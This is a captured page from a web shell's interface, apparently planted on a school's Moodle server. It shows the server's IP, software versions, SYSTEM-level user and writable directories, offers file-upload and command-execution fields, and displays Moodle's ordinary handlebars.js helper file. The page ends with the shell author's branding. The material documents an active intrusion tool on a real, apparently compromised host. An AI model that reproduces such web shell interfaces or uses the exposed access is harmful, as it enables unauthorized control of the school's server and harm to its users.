403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myschool/triamudom/tuprblearn/lib/yui/src/handlebars/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myschool/triamudom/tuprblearn/lib/yui/src/handlebars/js/handlebars.js
// Handlebars only exists in the global namespace and we do not want to
// Clone the entire thing.

// It should be reasonably safe within Moodle to add some core
// functionality to Handlebars at this level.
Y.Handlebars.registerHelper('get_string', function() {
    var args = new Y.Array(arguments);

    // Pop off the Handlebars object at the end.
    args.pop();

    // Add the Handlebars hashtable to support get_string arguments.
    args.push(arguments[arguments.length - 1].hash);

    // Perform the get_string.
    return M.util.get_string.apply(this, args);
});

Y.Handlebars.registerHelper('image_url', function() {
    var args = new Y.Array(arguments);

    // Pop off the Handlebars object at the end.
    args.pop();

    // Perform the get_string.
    return M.util.image_url.apply(this, args);
});

Youez - 2016 - github.com/yon3zu
LinuXploit